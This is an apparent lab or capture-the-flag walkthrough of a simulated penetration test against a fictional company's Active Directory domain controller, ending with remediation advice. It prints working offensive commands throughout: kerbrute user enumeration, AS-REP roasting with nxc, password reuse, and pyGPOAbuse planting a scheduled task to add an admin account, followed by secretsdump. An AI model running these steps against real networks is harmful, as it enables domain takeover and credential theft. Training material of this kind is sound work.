A HackSmarter walkthrough
The Setup
Sysco is a Managed Service Provider that hired me to run an external penetration test against their Active Directory domain. The goal was to act like a real, determined attacker: get an initial foothold from the outside, move laterally, escalate privileges, and reach Domain Administrator, all while keeping a low profile against antivirus and other controls.
I started with VPN access and no credentials.
Step 1: Recon With Nmap
I scanned the host to see what was running.
PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus80/tcp open http Apache httpd 2.4.58 (Win64) PHP/8.2.1288/tcp open kerberos-sec Microsoft Windows Kerberos135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL)445/tcp open microsoft-ds464/tcp open kpasswd53268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL)3389/tcp open ms-wbt-server Microsoft Terminal Services5985/tcp open http Microsoft HTTPAPI httpd 2.0
The AD services (Kerberos, LDAP, SMB) plus the certificate told me this is the Domain Controller, DC01.SYSCO.LOCAL. On top of that, it was also running a web server on port 80 with PHP. That web server was my way in from the outside.
Step 2: Add DC01 to the Hosts File
I added the DC to my hosts file so name resolution works for the web app and the AD tooling.
sudo sh -c 'echo "10.0.28.223 DC01.SYSCO.LOCAL SYSCO.LOCAL DC01" >> /etc/hosts'
Step 3: Web Enumeration
The website listed staff names, which is great for building a username list later. I also fuzzed the site for directories.
ffuf -u http://sysco.local/FUZZ -w raft-medium-directories.txt -cassets [Status: 301]forms [Status: 301]roundcube [Status: 301]phpmyadmin [Status: 403]webalizer [Status: 403]
The interesting one was roundcube, a webmail login. If I could find valid accounts and passwords, that mailbox could hold something useful.
Step 4: Building and Validating Usernames
From the names on the site, I built a list of likely username formats with username-anarchy.
cat namelist.txtGreg ShieldsSarah JohnsonJack DowlandLainey Mooreusername-anarchy Greg Shieldsgreg.shieldsg.shieldsgshields...
Then I used kerbrute to ask the Domain Controller which of those names are real accounts. Kerberos tells you whether a username exists, so this quietly confirms valid users.
kerbrute userenum -d sysco.local --dc 10.0.28.223 usernamelist.txt -o users.txt[+] VALID USERNAME: greg.shields@sysco.local[+] VALID USERNAME: lainey.moore@sysco.local[+] VALID USERNAME: jack.dowland@sysco.local
Three confirmed domain users.
Step 5: AS-REP Roasting
With a confirmed user list, I checked whether any account had Kerberos pre-authentication turned off. Those accounts can be attacked with AS-REP roasting: you request a ticket and the reply contains crackable material, no password needed.
nxc ldap 10.0.28.223 -u users.txt -p '' --asreproast asreproast.txtLDAP 10.0.28.223 389 DC01 $krb5asrep$23$jack.dowland@SYSCO.LOCAL:...[hash redacted]...
jack.dowland was vulnerable. I cracked the hash offline and got his password.
nxc smb 10.0.28.223 -u jack.dowland -p '[REDACTED]'SMB 10.0.28.223 445 DC01 [+] SYSCO.LOCAL\jack.dowland:[REDACTED]
Step 6: Authenticated Enumeration
I used jack.dowland to enumerate shares and users.
nxc smb 10.0.28.223 -u jack.dowland -p '[REDACTED]' --usersSMB 10.0.28.223 445 DC01 jack.dowland Helpdesk Tier 1SMB 10.0.28.223 445 DC01 lainey.moore System EngineerSMB 10.0.28.223 445 DC01 greg.shields System Administrator
The account descriptions were a helpful map. greg.shields is a System Administrator, so that account is a good target to reach. I sprayed the known passwords across the accounts to check for reuse, but nothing new opened up.
Step 7: Into the Mailbox
I got access to a mailbox through the webmail portal. Inside was a stored password hash. I identified the format first.
echo '[REDACTED]' | hashid[+] MD5 Crypt
It was an MD5 crypt hash, so I cracked it offline. The recovered password belonged to lainey.moore, and it worked against the domain.
nxc smb 10.1.225.23 -u lainey.moore -p '[REDACTED]'SMB 10.1.225.23 445 DC01 [+] SYSCO.LOCAL\lainey.moore:[REDACTED]
Step 8: A Shell as lainey.moore
lainey.moore could log in over WinRM.
nxc winrm 10.1.225.23 -u 'lainey.moore' -p '[REDACTED]'WINRM 10.1.225.23 5985 DC01 [+] SYSCO.LOCAL\lainey.moore:[REDACTED] (Pwn3d!)
In her Documents folder I found notes and a saved PuTTY shortcut.
*Evil-WinRM* PS C:\Users\lainey.moore\Documents> lsnotes.txtPutty - HS Router login.lnkputty.exe*Evil-WinRM* PS ...> cat notes.txt- Ssh to the 10.0.0.1 router with credentials provided by sysadmin to update ACLs- Fix errors in config provided by tier 1 for the new office router
Step 9: A Password Hiding in a Shortcut
PuTTY shortcuts often store the full connection command, including the password in clear text. I read the raw .lnk file and there it was.
cat "Putty - HS Router login.lnk"...\putty.exe -ssh netadmin@10.0.0.1 -pw [REDACTED]...
That router password had been reused for greg.shields, the System Administrator account.
nxc smb 10.1.225.23 -u 'greg.shields' -p '[REDACTED]'SMB 10.1.225.23 445 DC01 [+] SYSCO.LOCAL\greg.shields:[REDACTED]
Step 10: Abusing GPO Rights for Domain Admin
I checked greg.shields in BloodHound. This account had GenericAll over the Default Domain Policy. That is a powerful right: control over a Group Policy Object that applies to the whole domain, including the Domain Controller. It can be abused to make the DC run an action of my choosing.
I used pyGPOAbuse to plant a scheduled task in that policy. The task adds a new account to the local Administrators group on the DC. I pulled the GPO ID for the Default Domain Policy from BloodHound.
python3 pygpoabuse.py 'sysco.local'/'greg.shields':'[REDACTED]' -gpo-id "31B2F340-016D-11D2-945F-00C04FB984F9"[+] ScheduledTask TASK_5d7ef8fa created!
Then I forced the DC to apply the updated policy right away instead of waiting for the normal refresh.
nxc winrm 10.1.225.23 -u 'greg.shields' -p '[REDACTED]' -X 'gpupdate /force'WINRM 10.1.225.23 5985 DC01 Computer Policy update has completed successfully.WINRM 10.1.225.23 5985 DC01 User Policy update has completed successfully.
Once the policy ran, my new account existed and was a local administrator on the Domain Controller.
nxc smb 10.1.225.23 -u John -p '[REDACTED]'SMB 10.1.225.23 445 DC01 [+] SYSCO.LOCAL\John:[REDACTED] (Pwn3d!)
Step 11: Domain Admin
With administrator rights on the DC, I dumped the domain’s secrets with secretsdump.
secretsdump.py -dc-ip 10.1.225.23 'sysco.local/John:[REDACTED]@10.1.225.23'
From there I had full control of the domain.
*Evil-WinRM* PS C:\Users\Administrator\desktop> whoamisysco\administrator
Domain Admin reached. Objective complete.
How I Got Here
This ran through a long chain of small mistakes, each one leading to the next. A public website leaked staff names, which let me guess valid domain accounts. A password hash sitting in a mailbox gave me my first login. An account without Kerberos pre-authentication handed over a second one through AS-REP roasting. A password saved in clear text inside a PuTTY shortcut was reused for an administrator account. And finally, that administrator held dangerous control over a domain-wide Group Policy, which I turned into full Domain Admin. No single step was exotic. Together they were more than enough.
Remediation
Keep public websites from leaking staff names and internal details that help attackers guess usernames. Enforce strong, unique passwords and never store them in mailboxes or in shortcut files. Turn on Kerberos pre-authentication for every account so AS-REP roasting fails. Do not reuse passwords across systems, especially for administrators. Review Active Directory permissions and remove rights like GenericAll over Group Policy Objects from accounts that do not need them. Finally, monitor for GPO changes, new scheduled tasks, and new local administrator accounts, since this whole path would have left a clear trail.